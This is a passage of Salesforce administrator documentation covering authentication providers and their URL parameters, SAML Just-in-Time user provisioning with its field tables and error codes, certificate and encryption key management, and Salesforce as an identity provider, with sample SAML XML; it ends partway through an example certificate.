https://login.salesforce.com/services/authcallback/00DD0000000JWFwMAB/JanrainApp?flowtype=sso. To use My Domain, replace login.salesforce.com with your My Domain name.

Creating a Site to Call the Login Widget


1. Enable Sites. See Setting Up Force.com Sites. 2. Create a page and copy the login widget code to the page. 3. Create a new site and specify the page you just created as the home page for the site.

717

Security and Sharing

Configuring a Salesforce Authentication Provider

Configuring a Salesforce Authentication Provider


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Manage Auth. Providers

You can use a remote access application as an authentication provider. You must complete these steps: 1. Define a remote access application. 2. Define a Salesforce authentication provider in your organization. 3. Test the connection. Defining a Remote Access Application Before you can configure a Salesforce provider for your Salesforce organization, you must set up a remote access application in your organization, using single sign-on. See Defining Remote Access Applications. After you finish defining a remote access application, save the values from the Consumer Key and Consumer Secret fields. Defining the Salesforce Authentication Provider in your Organization You need the values from the Consumer Key and Consumer Secret fields of the remote access application definition to set up the authentication provider in your organization. 1. 2. 3. 4. 5. Click Your Name > Setup > Security Controls > Auth. Providers. Click New. Select Salesforce for the Provider Type. Enter a Name for the provider. Enter the URL Suffix. This is used in the client configuration URLs. For example, if the URL suffix of your provider is MySFDCProvider, your single sign-on URL is similar to https://login.salesforce.com/auth/sso/00Dx00000000001/MySFDCProvider. Paste the value of Consumer Key from the remote access application definition into the Consumer Key field. Paste the value of Consumer Secret from the remote access application definition into the Consumer Secret field. Optionally enter a custom error URL for the provider to use to report any errors. Select an already existing Apex class as the Registration Handler class or click Automatically create a registration handler template to create the Apex class template for the registration handler. You must edit this template class to modify the default content before using it. Note: You must specify a registration handler class for Salesforce to generate the Single Sign-On Initialization URL.

6. 7. 8. 9.

718

Security and Sharing

Configuring a Salesforce Authentication Provider

10. Select the user that runs the Apex handler class for Execute Registration As. The user must have Manage Users permission. A user is required if you selected a registration handler class or are automatically creating one. 11. To use a portal with your provider, select the portal from the Portal drop-down list. 12. Click Save. Note the value of the Client Configuration URLs. You need the Callback URL to complete the last step, and you use the Test-Only Initialization URL to check your configuration. Also be sure to note the Auth. Provider Id value because you must use it with the Auth.AuthToken Apex class. 13. Return to the remote access application definition you created above and paste the value of Callback URL from the authentication provider into the Callback URL field. Several client configuration URLs are generated after defining the authentication provider:
Test-Only Initialization URL: Administrators use this URL to ensure the third-party provider is set up correctly.

The administrator opens this URL in a browser, signs in to the third party, and is redirected back to Salesforce with a map of attributes. Single Sign-On Initialization URL: Use this URL to perform single sign-on into Salesforce from a third party (using third-party credentials). The end user opens this URL in a browser, and signs in to the third party. This then either creates a new user for them, or updates an existing user, and then signs them into Salesforce as that user. Existing User Linking URL: Use this URL to link existing Salesforce users to a third-party account. The end user opens this URL in a browser, signs in to the third party, signs in to Salesforce, and approves the link. Callback URL: Use the callback URL for the endpoint that the authentication provider calls back to for configuration. The authentication provider has to redirect to the Callback URL with information for each of the above client configuration URLs.

The client configuration URLs support additional request parameters that enable you to direct users to log into specific sites, obtain customized permissions from the third party, or go to a specific location after authenticating. See Using Request Parameters with Client Configuration URLs Testing the Single Sign-On Connection In a browser, open the Test-Only Initialization URL on the Auth. Provider detail page. Both the authorizing organization and target organization must be in the same environment, such as production or a sandbox.

719

Security and Sharing

Using Request Parameters with Client Configuration URLs

Using Request Parameters with Client Configuration URLs


You can add functionality to your authentication provider by using additional request parameters. Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Manage Auth. Providers

Authentication providers support additional request parameters you can use to direct users to log into specific sites, obtain customized permissions from the third party, or go to a specific location after authenticating. Add the request parameters to the following client configuration URLs. These were generated after you defined your authentication provider: Test-Only Initialization URL Single Sign-On Initialization URL Existing User Linking URL

Append any of these parameters to your URL as needed. For Janrain providers, append them to the appropriate callback URL. Scope Customizes the permissions requested from the third party Site Enables the provider to be used with a site Start Sends the user to a specified location after authentication

720

Security and Sharing

Using Request Parameters with Client Configuration URLs

Using the Scope Parameter


Customizes the permissions requested from the third party like Facebook or Janrain so that the returned access token has additional permissions. Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Manage Auth. Providers

You can customize requests to a third party to receive access tokens with additional permissions. Then you use Auth.AuthToken methods to retrieve the access token that was granted so you can use those permissions with the third party. The default scopes vary depending on the third party, but usually do not allow access to much more than basic user information. Valid scopes vary depending on the third party, so administrators must refer to individual third-party documentation. For example, Facebook has documentation on valid scopes at Permissions Reference, while Salesforce scopes are described in Scope Parameter Values. The space-delimited string of requested scopes is sent as-is to the third party, and overrides the default permissions requested by authentication providers. Janrain does not use this parameter; additional permissions must be configured within Janrain. The following is an example of a scope parameter requesting the Salesforce scopes api and web, added to the Single Sign-On Initialization URL, where:
orgID is your Auth. Provider ID URLsuffix is the value you specified when you defined the authentication provider

https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?scope=id%20api%20web

721

Security and Sharing

Using Request Parameters with Client Configuration URLs

Using the Site Parameter


Use your authentication provider to log into a site or link to a sites user. Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Manage Auth. Providers

To use your provider with a site, you need to do the following: Enable the provider to be used with a site Ensure the site is configured to use the same portal Add the site-specific login URL information to the appropriate client configuration URL, such as the Single Sign-On Initialization URL, using the site parameter

You create the site login Visualforce page, or specify the default page, when you create the site. An example site login URL is: https%3A%2F%2Fmysite.force.com%2FSiteLogin. The following is an example of a site-login URL added to the Single Sign-On Initialization URL, using the site parameter, where:
orgID is your Auth. Provider ID URLsuffix is the value you specified when you defined the authentication provider

https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?site=https%3A%2F%2Fmysite.force.com%2FSiteLogin

If you dont specify a site parameter, the user proceeds either to a standard portal (if set up for a portal) or the standard application (if not).

722

Just-in-time Provisioning

About Just-in-Time Provisioning for SAML

Using the StartURL Parameter


Send your user to a specific location after authenticating or linking. Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Manage Auth. Providers

To direct your users to a specific location after authenticating, you need to specify a URL with the startURL request parameter. This URL must be a relative URL; passing an absolute URL results in an error. If you dont add startURL, the user is sent to either /home/home.jsp (for a portal or standard application) or to the default sites page (for a site) after authentication completes. For example, with a Single Sign-On Initialization URL, the user is sent to this location after being logged in. For an Existing User Linking URL, the Continue to Salesforce link on the confirmation page leads to this page. The following is an example of a startURL parameter added to the Single Sign-On Initialization URL, where:
orgID is your Auth. Provider ID URLsuffix is the value you specified when you defined the authentication provider

https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?startURL=%2F005x00000000001%3Fnoredirect%3D1

JUST-IN-TIME PROVISIONING
About Just-in-Time Provisioning for SAML
Available in: All Editions

With Just-in-Time provisioning, you can use a SAML assertion to create regular and portal users on the fly the first time they try to log in. This eliminates the need to create user accounts in advance. For example, if you recently added an employee to your organization, you don't need to manually create the user in Salesforce. When they log in with single sign-on, their account is automatically created for them, eliminating the time and effort with on-boarding the account. Just-in-Time provisioning works with your SAML identity provider to pass the correct user information to Salesforce in a SAML 2.0 assertion. You can both create and modify accounts this way. Because Just-in-Time provisioning uses SAML to communicate, your organization must have SAML-based single sign-on enabled.

723

Security and Sharing

About Just-in-Time Provisioning for SAML

Benefits of Just-in-Time Provisioning Implementing Just-in-Time provisioning can offer the following advantages to your organization. Reduced Administrative Costs: Provisioning over SAML allows customers to create accounts on-demand, as part of the single sign-on process. This greatly simplifies the integration work required in scenarios where users need to be dynamically provisioned, by combining the provisioning and single sign-on processes into a single message. Increased User Adoption: Users only need to memorize a single password to access both their main site and Salesforce. Users are more likely to use your Salesforce application on a regular basis. Increased Security: Any password policies that you have established for your corporate network are also in effect for Salesforce. In addition, sending an authentication credential that is only valid for a single use can increase security for users who have access to sensitive data.

See Also:
Just-in-Time Provisioning Requirements Just-in-Time Provisioning for Portals Just-in-Time Provisioning Errors Example SAML Assertions About Single Sign-On

Just-in-Time Provisioning Requirements


Just-in-Time provisioning requires the creation of a SAML assertion. Consider the following when creating your SAML assertion.
Provision Version is supported as an optional attribute. If it isn't specified, the default is 1.0. For example:
<saml:Attribute Name="ProvisionVersion" NameFormat= "urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">1.0</saml:AttributeValue> </saml:Attribute>

ProfileIDs change per organization, even for standard profiles. To make it easier to find the profile name, Salesforce allows you to do a profile name lookup by passing the ProfileName into the ProfileId field.

Field Requirements for the SAML Assertion To correctly identify which object to create in Salesforce, you must use the User. prefix for all fields passed in the SAML assertion. In this example, the User. prefix has been added to the Username field name.
<saml:Attribute Name="User.Username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue> </saml:Attribute>

The following standard fields are supported. Fields


AboutMe

Required

Comments

724

Security and Sharing

About Just-in-Time Provisioning for SAML

Fields
Alias CallCenter City CommunityNickname CompanyName Country DefaultCurrencyIsoCode DelegatedApproverId Department Division Email EmailEncodingKey EmployeeNumber Extension Fax FederationIdentifier (insert

Required

Comments If not present, a default is derived from FirstName and LastName.

If not present, a default is derived from the UserName.

Derived from organization settings.

Y If not present, a default is derived from the organization settings.

only)
FirstName ForecastEnabled IsActive LastName LanguageLocaleKey LocaleSidKey Manager MobilePhone Phone ProfileId ReceivesAdminInfoEmails ReceivesInfoEmails State Street TimeZoneSidKey Title

If present, it must match the SAML subject, or the SAML subject is taken instead. Can't be updated with SAML.

If not present, a default is derived from the organization settings.

If not present, a default is derived from the organization settings.

725

Security and Sharing

About Just-in-Time Provisioning for SAML

Fields
Username (insert only) UserRoleId Zip

Required Y Can't update using SAML.

Comments

Defaults to no role if blank.

Other field requirements: Only text type custom fields are supported. Only the insert and update functions are supported for custom fields. When using the API for user creation, you can pass the new username into the User.Username field. You can also specify the User.FederationIdentifier if it is present. However, the Username and FederationIdentifier fields can't be updated with API.

See Also:
About Just-in-Time Provisioning for SAML Just-in-Time Provisioning for Portals Just-in-Time Provisioning Errors Example SAML Assertions About Single Sign-On

Just-in-Time Provisioning for Portals


With Just-in-Time (JIT) provisioning for portals, you can use a SAML assertion to create customer and partner portal users on the fly the first time they try to log in. This eliminates the need to create user accounts in advance. Because JIT uses SAML to communicate, your organization must have SAML-based single sign-on enabled. Creating Portal Users The Portal ID and Organization ID must be specified as part of the SAML assertion. You can find both of these on the company information page for the organization or portal. Because you can also provision regular users, the Portal ID is used to distinguish between a regular and portal JIT provisioning request. If no Portal ID is specified, then the request is treated as a JIT request for regular platform user. Here are the requirements for a creating a portal user. You must specify a Federation ID. If the ID belongs to an existing user account, the user account is updated. In case of an inactive user account, the user account is updated, but left inactive unless User.IsActive in the JIT assertion is set to true. If there is no user account with that Federation ID, the system creates a new user. You must pass a valid Account ID and Contact ID. If the portal isnt self-registration enabled and a default new user profile and role arent specified, the User.ProfileId field must contain a valid profile name or ID associated with the portal. In addition, the User.PortalRole field must contain a valid portal role name or ID. Note: The User.Role must be null.

726

Security and Sharing

About Just-in-Time Provisioning for SAML

Creating and Modifying Accounts Create or modify an account by specifying a valid Account ID or both the Account.Number and Account.Name. Matching is based on Account.Number. If multiple accounts are found, an error is displayed. Otherwise, the account is updated. If no matching account is found, one is created. You must specify the Account.Owner in the SAML assertion and ensure that the field level security for the Account.Number field is set to visible for this owners profile.

Creating and Modifying Contacts Create or modify a contact by specifying the a valid Contact ID in User.Contact or both the Contact.Email and Contact.LastName. Matching is based on Contact.Email. If multiple contacts are found, an error is displayed. Otherwise, the contact is updated. If no matching contact is found, one is created.

Supported Fields for the Portal SAML Assertion To correctly identify which object to create in Salesforce, you must use a prefix. In the SAML assertion, use the Account. prefix for all fields in the Account schema and Contact. prefix for all fields in the Contact schema. In this example, the Contact. prefix has been added to the Email field name.
<saml:Attribute Name="Contact.Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue> </saml:Attribute>

In addition to the standard fields on page 724 supported for regular SAML JIT users, these fields are supported for accounts. Fields
Billing AnnualRevenue Description Fax FederationIdentifier (insert

Required

Comments Street|City|State|PostalCode|Country

only)
IsCustomerPortal IsPartner NumberOfEmployees Ownership Phone Portal Role Rating

If present, it must match the SAML subject or the SAML subject is taken instead. Cant be updated using SAML.

727

Security and Sharing

About Just-in-Time Provisioning for SAML

Fields
Street TickerSymbol UserRoleId Website Zip

Required

Comments

Defaults to no role if blank.

In addition to the standard fields supported for regular SAML JIT users, these fields are supported for contacts. Fields
Birthdate CanAllowPortalSelfReg Department Description DoNotCall Fax FederationIdentifier (insert

Required

Comments

Name|Phone

only)
HasOptedOutofEmail HasOptedOutofFax HomePhone LeadSource Mailing MobilePhone Owner Other OtherPhone Phone Salutation

If present, it must match the SAML subject or the SAML subject is taken instead. Cant be updated using SAML.

Street|City|State|PostalCode|Country

Street|City|State|PostalCode|Country

728

Security and Sharing

About Just-in-Time Provisioning for SAML

Fields
Title

Required

Comments

See Also:
About Just-in-Time Provisioning for SAML Just-in-Time Provisioning Errors Example SAML Assertions About Single Sign-On

Just-in-Time Provisioning Errors


This table shows the error codes for Just-in-Time provisioning for SAML. Errors are returned in the URL parameter, for example:
http://login.salesforce.com/identity/jit/saml-error.jsp? ErrorCode=5&ErrorDescription=Unable+to+create+user&ErrorDetails= INVALID_OR_NULL_FOR_RESTRICTED_PICKLIST+TimeZoneSidKey

Note: Salesforce redirects the user to a custom error URL if one is specified in your SAML configuration. For more information on setting a custom error URL, see Configuring SAML Settings for Single Sign-On. on page 697

Error Messages Code 1 2 3 4 5 6 8 9 11 12 13 14 15 Description Missing Federation Identifier Mis-matched Federation Identifier Invalid organization ID Unable to acquire lock Unable to create user Unable to establish admin context Unrecognized custom field Unrecognized standard field License limit exceeded Error Details MISSING_FEDERATION_ID MISMATCH_FEDERATION_ID INVALID_ORG_ID USER_CREATION_FAILED_ON_UROG USER_CREATION_API_ERROR ADMIN_CONTEXT_NOT_ESTABLISHED UNRECOGNIZED_CUSTOM_FIELD UNRECOGNIZED_STANDARD_FIELD LICENSE_LIMIT_EXCEEDED

Federation ID and username do not match MISMATCH_FEDERATION_ID_AND_USERNAME_ATTRS Unsupported provision API version Username change isn't allowed Custom field type isn't supported UNSUPPORTED_VERSION USER_NAME_CHANGE_NOT_ALLOWED UNSUPPORTED_CUSTOM_FIELD_TYPE

729

Security and Sharing

About Just-in-Time Provisioning for SAML

Code 16 17 18 19 20 22 23 24 25 26 27 28 30 31 32 33 34 35 36 37

Description

Error Details

Unable to map an unique profile ID for the PROFILE_NAME_LOOKUP_ERROR given profile name Unable to map an unique role ID for the given role name Invalid account Missing account name Missing account number Unable to create account Invalid contact Missing contact email Missing contact last name Unable to create contact Multiple matching contacts found Multiple matching accounts found Invalid account owner Invalid portal profile Account change is not allowed Unable to update account Unable to update contact Invalid standard account field value Contact change not allowed Invalid portal role ROLE_NAME_LOOKUP_ERROR INVALID_ACCOUNT_ID MISSING_ACCOUNT_NAME MISSING_ACCOUNT_NUMBER ACCOUNT_CREATION_API_ERROR INVALID_CONTACT MISSING_CONTACT_EMAIL MISSING_CONTACT_LAST_NAME CONTACT_CREATION_API_ERROR MULTIPLE_CONTACTS_FOUND MULTIPLE_ACCOUNTS_FOUND INVALID_ACCOUNT_OWNER INVALID_PORTAL_PROFILE ACCOUNT_CHANGE_NOT_ALLOWED ACCOUNT_UPDATE_FAILED CONTACT_UPDATE_FAILED INVALID_STANDARD_ACCOUNT_FIELD_VALUE CONTACT_CHANGE_NOT_ALLOWED INVALID_PORTAL_ROLE

See Also:
About Just-in-Time Provisioning for SAML Just-in-Time Provisioning Requirements Just-in-Time Provisioning for Portals

730

Key Pairs

About Salesforce Certificates and Keys

KEY PAIRS
About Salesforce Certificates and Keys
Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

To work with Salesforce certificates and keys, click Your Name > Setup > Security Controls > Certificate and Key Management. From this page you can: Manage your certificates Manage your master encryption key

Certificates Salesforce certificates and key pairs are used for signatures that verify a request is coming from your organization. They are used for authenticated SSL communications with an external web site, or when using your organization as an Identity Provider. You only need to generate a Salesforce certificate and key pair if you're working with an external website that wants verification that a request is coming from a Salesforce organization. Salesforce offers two types of certificates: Self-signed A self-signed certificate is signed by Salesforce. Not all external websites accept self-signed certificates. CA-signed A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed certificates. You must first generate the certificate signing request to send to a CA, and then import the signed version of the certificate before you can use it. Master Encryption Keys Fields that are encrypted using encrypted custom fields, such as social security number or credit card number, use a master encryption key to encrypt the data. This key is automatically assigned when you enable encrypted fields for your organization. You can manage the master key based on your organizations security needs and regulatory requirements.

See Also:
Creating Certificates and Key Pairs Editing Salesforce Certificates and Key Pairs Uploading Certificate Authority (CA)-Signed Certificates Managing Master Encryption Keys

731

Security and Sharing

Creating Certificates and Key Pairs

Creating Certificates and Key Pairs


Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

Salesforce offers two types of certificates: Self-signed A self-signed certificate is signed by Salesforce. Not all external websites accept self-signed certificates. CA-signed A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed certificates. You must first generate the certificate signing request to send to a CA, and then import the signed version of the certificate before you can use it. To create a Salesforce certificate: 1. Go to Your Name > Setup > Security Controls > Certificate and Key Management. 2. Select either Create Self-Signed Certificate or Create CA-Signed Certificate, based on what kind of certificate your external website accepts. You can't change the type of a certificate after you've created it. 3. Enter a descriptive label for the Salesforce certificate. This name is used primarily by administrators when viewing certificates. 4. Enter the Unique Name. This name is automatically populated based on the certificate label you enter. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the Unique Name when referring to the certificate using the Force.com Web services API or Apex. 5. Select a Key Size for your generated certificate and keys. We recommend that you use the default key size of 2048 for security reasons. Selecting 2048 generates a certificate using 2048-bit keys and is valid for two years. Selecting 1024 generates a certificate using 1024-bit keys and is valid for one year. Note: Once you save a Salesforce certificate, you can't change the key size.

6. If you're creating a CA-signed certificate, you must also enter the following information. These fields are joined together to generate a unique certificate. Field
Common Name

Description The fully qualified domain name of the company requesting the signed certificate. This is generally of the form: http://www.mycompany.com. The email address associated with this certificate. Either the legal name of your company, or your legal name.

Email Address Company

732

Security and Sharing

Uploading Certificate Authority (CA)-Signed Certificates

Field
Department

Description The branch of your company using the certificate, such as marketing or accounting. The city where the company resides. The state where the company resides. A two-letter code indicating the country where the company resides. For the United States, the value is US.

City State Country Code

7. Click Save. After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated. You can have a maximum of 50 certificates. After you create a CA-signed certificate, you must upload the signed certificate before you can use it. Note: After you create a CA-signed certificate and certificate request, the certificate is not active and you can't use it until it's been signed by a certificate authority and uploaded into your organization.

See Also:
About Salesforce Certificates and Keys Viewing Salesforce Certificates and Key Pairs Editing Salesforce Certificates and Key Pairs Uploading Certificate Authority (CA)-Signed Certificates

Uploading Certificate Authority (CA)-Signed Certificates


Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

After you create a CA-signed certificate , you must do the following before the certificate is active and you can use the certificate. 1. Click Your Name > Setup > Security Controls > Certificate and Key Management, click the name of the certificate, then click Download Certificate Signing Request. 2. Send the certificate request to the certificate authority of your choice. 3. After the certificate authority sends back the signed certificate, click Your Name > Setup > Security Controls > Certificate and Key Management, click the name of the certificate, then click Upload Signed Certificate. 4. Click Browse to locate the CA-signed certificate. The CA-signed certificate must match the certificate created in Salesforce. If you try to upload a different CA-signed certificate, the upload fails.

733

Security and Sharing

Viewing Salesforce Certificates and Key Pairs

5. Click Save to finish the upload process. Click Cancel at any time to not upload the certificate. After you successfully upload the signed certificate, the status of the certificate is changed to Active and you can use CA-signed certificate. Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

See Also:
About Salesforce Certificates and Keys Creating Certificates and Key Pairs Viewing Salesforce Certificates and Key Pairs Editing Salesforce Certificates and Key Pairs

Viewing Salesforce Certificates and Key Pairs


Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

To view the details of a Salesforce certificate, click Your Name > Setup > Security Controls > Certificate and Key Management, then click the name of a certificate. From the certificate detail page, you can do any of the following: Click Edit to edit the label or unique name of the certificate. Click Delete to delete the certificate. Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

Click Download Certificate to download the full Base-64 encoded certificate. This is only available for active certificates. For CA-signed certificates, you must first upload the signed certificate before you can download or use it. Click Download Certificate Signing Request for CA-signed certificates that have not yet had the signed certificate uploaded.

734

Security and Sharing

Editing Salesforce Certificates and Key Pairs

Click Upload Signed Certificate to upload the CA-signed certificate.

See Also:
About Salesforce Certificates and Keys Creating Certificates and Key Pairs Editing Salesforce Certificates and Key Pairs Uploading Certificate Authority (CA)-Signed Certificates

Editing Salesforce Certificates and Key Pairs


Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

After you create a Salesforce certificate, you can only change the Label and the Unique Name. You can't change the type, key size, and so on. The certificate and the keys aren't regenerated when you edit a Salesforce certificate. Warning: Apex and the Force.com Web services API use the Unique Name to access the certificate. Changing the Unique Name could cause your code to break. To edit a Salesforce certificate: 1. Go to Your Name > Setup > Security Controls > Certificate and Key Management. 2. Click Edit next to the name of a Salesforce certificate. 3. Make your changes, then click Save. To delete a certificate, click Del. If a certificate is being used as part of the configuration of your identity provider, you cannot delete it. Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

See Also:
About Salesforce Certificates and Keys Creating Certificates and Key Pairs Viewing Salesforce Certificates and Key Pairs Uploading Certificate Authority (CA)-Signed Certificates

735

Security and Sharing

Managing Master Encryption Keys

Managing Master Encryption Keys


Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

Fields that are encrypted using encrypted custom fields, such as social security number or credit card number, use a master encryption key to encrypt the data. This key is automatically assigned when you enable encrypted fields for your organization. You can manage the master key based on your organizations security needs and regulatory requirements. With master encryption keys, you can do the following: Archive the existing key and create a new key Export an existing key after it's been archived Delete an existing key Import an existing key after it's been deleted

Archiving and Creating New Keys To archive your current key and create a new key: 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Certificate and Key Management. Click Archive Current Key and Create New Key. A warning message displays letting you know you are changing keys. Click OK. A new key is generated, assigned the next sequential number, and activated.

All new data is encrypted using the new key. Existing data continues to use the archived key until the data is modified and saved. Then data is encrypted using the new key. After you archive a key, you can export or delete it. Exporting Keys You can export your keys to a back-up location for safe keeping. Its a good idea to export a copy of any key before deleting it. Exporting creates a text file with the encrypted key. You can import the key back into your organization at a later time. Click Export next to the key you want to export.

Deleting Keys
Don't delete a key unless you're absolutely certain no data is currently encrypted using the key. After you delete a key, any data encrypted with that key can no longer be accessed. If you export the key before you delete it, you can import the key back into your organization. To delete a key, click Delete next to the key you want to delete.

736

Identity and Service Providers

About Identity Providers and Service Providers

The date the key is deleted displays. Importing Keys If you have data associated with a deleted key, you can import an exported key back into your organization. Any data that was not accessible becomes accessible again. Click Import next to the key you want to import.

See Also:
About Salesforce Certificates and Keys Creating Certificates and Key Pairs Editing Salesforce Certificates and Key Pairs Uploading Certificate Authority (CA)-Signed Certificates

IDENTITY AND SERVICE PROVIDERS


About Identity Providers and Service Providers
Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

An identity provider is a trusted provider that enables you to use single sign-on to access other websites. A service provider is a website that hosts applications. You can enable Salesforce as an identity provider, then define one or more service providers, so your users can access other applications directly from Salesforce using single sign-on. This can be a great help to your users: instead of having to remember many passwords, they will only have to remember one. Plus, the applications can be added as tabs to your Salesforce organization, which means users won't have to switch between programs. Before you can enable Salesforce as an identity provider, you must set up a domain. Enabling Salesforce as an identity provider requires a self-signed Salesforce certificate and key pair. If you haven't generated a Salesforce certificate and key pair, one is automatically created for you when you enable Salesforce as an identity provider. You also have the option of picking an already generated certificate, or creating one yourself. Salesforce uses the SAML 2.0 standard for single sign-on and generates SAML assertions when configured as an identity provider. Use the identity provider error log if your users have errors when trying to log into your service provider's apps. Using Identity Providers and Service Providers Salesforce supports the following:

737

Security and Sharing

About Identity Providers and Service Providers

Identity-provider-initiated loginwhen Salesforce logs into a service provider at the initiation of the end-user Service-provider-initiated loginwhen the service provider requests Salesforce to authenticate a user, at the initiation of the end-user

The following is the general flow when Salesforce as an identity provider logs into a service provider. 1. User tries to access a service provider already defined in Salesforce. 2. Salesforce sends a SAML response to the service provider. The following is an example of a response (you might want to share this with your service provider):

3. Service provider identifies the user and authenticates the certificate. 4. If the user is identified, they are logged into the service provider. The following is the general flow when a service provider initiates login and uses Salesforce to identify the user. 1. The service provider sends a valid SAML request. The endpoint is automatically generated when the service provider is definedthe SP-Initiated POST Endpoint. 2. Salesforce identifies the user included in the SAML request.
<samlp:AuthnRequest ID="bndkmeemcaamihajeloilkagfdliilbhjjnmlmfo" Version="2.0" IssueInstant="2010-05-24T22:57:19Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" ProviderName="google.com" IsPassive="false" AssertionConsumerServiceURL="https://www.google.com/a/resp.info/acs"> <saml:Issuer>google.com</saml:Issuer> <samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"/> </samlp:AuthnRequest>

If a certificate was included as part of the definition, Salesforce authenticates the certificate.

738

Security and Sharing

About Identity Providers and Service Providers

Note: If a certificate is included in the service provider definition, and the SAML request does not contain a certificate, the request fails, and the user is not logged in using Salesforce. If the definition does not include a certificate, and the request includes one, the request succeeds if the user is identified correctly. 3. If the user isn't already logged into Salesforce, they are prompted to do so. 4. Salesforce sends a SAML response to the service provider. 5. The service provider authenticates the SAML response sent by Salesforce. If the user has been authenticated, they are logged into the service provider. The user is also logged into Salesforce. Important: Salesforce doesn't provide any mechanism for automatically logging the user out of Salesforce when they log out of the service provider.

The following is an example of the SAML response from Salesforce. You might want to share this information with your service provider.
<samlp:Response Destination="https://login-blitz03.soma.salesforce.com/ ?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk" ID="_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091" InResponseTo="_2INwHuINDJTvjo8ohcM.Fpw_uLukYi0WArVx2IJD569kZYL osBwuiaSbzzxOPQjDtfw52tJB10VfgPW2p5g7Nlv5k1QDzR0EJYGgn0d0z8 CIiUOY31YBdk7gwEkTygiK_lb46IO1fzBFoaRTzwvf1JN4qnkGttw3J6L4b opRI8hSQmCumM_Cvn3DHZVN.KtrzzOAflcMFSCY.bj1wvruSGQCooTRSSQ" IssueInstant="2010-11-23T01:46:41.091Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" >identityorg.blitz03.blitz.salesforce.com</saml:Issuer>

739

Security and Sharing

About Identity Providers and Service Providers

<ds:Signature> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> <ds:Reference URI="#_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"> <ec:InclusiveNamespaces PrefixList="ds saml samlp xs"/> </ds:Transform> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> <ds:DigestValue>4NVTbQ2WavD+ZBiyQ7ufc8EhtZw=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue> eqrkFxNlJRCT4VQ7tt7wKZGK7oLCCCa4gV/HNcL03RoKbSXIcwU2CAqW0qTSj25FqhRe2fOwAYa5 xFWat7Fw2bbncU+/nnuVNZut8HEEQoHiQA/Jrh7XB4CNlOpM1QRvgB5Dtdkj/0lI4h3X3TFix57B sgZJGbb5PWEqSH3ZAl+NPvW9nNtYQIFyCTe9+cw2BhCxFgSWfP3/kIYHSM2gbIy27CrRrFS1lAqP hKSLaH+ntH1E09gp78RSyJ2WKFGJU22sE9RJSZwdVw3VGG06Z6RpSjPJtaREELhhIBWTHNoF+VvJ 2Hbexjew6CO08lXRDe8dbrrPIRK/qzHZYf1H0g== </ds:SignatureValue> <ds:KeyInfo> <ds:X509Data> <ds:X509Certificate> MIIEbjCCA1agAwIBAgIOASh04QulAAAAAClXs7MwDQYJKoZIhvcNAQEFBQAwfTEVMBMGA1UEAwwM SWRlbnRpdHkgT3JnMRgwFgYDVQQLDA8wMEREMDAwMDAwMEZIOGwxFzAVBgNVBAoMDlNhbGVzZm9y Y2UuY29tMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMQswCQYDVQQIDAJDQTEMMAoGA1UEBhMDVVNB MB4XDTEwMDUwNzIyMjcwNVoXDTEyMDUwNjIyMjcwNVowfTEVMBMGA1UEAwwMSWRlbnRpdHkgT3Jn MRgwFgYDVQQLDA8wMEREMDAwMDAwMEZIOGwxFzAVBgNVBAoMDlNhbGVzZm9yY2UuY29tMRYwFAYD VQQHDA1TYW4gRnJhbmNpc2NvMQswCQYDVQQIDAJDQTEMMAoGA1UEBhMDVVNBMIIBIjANBgkqhkiG 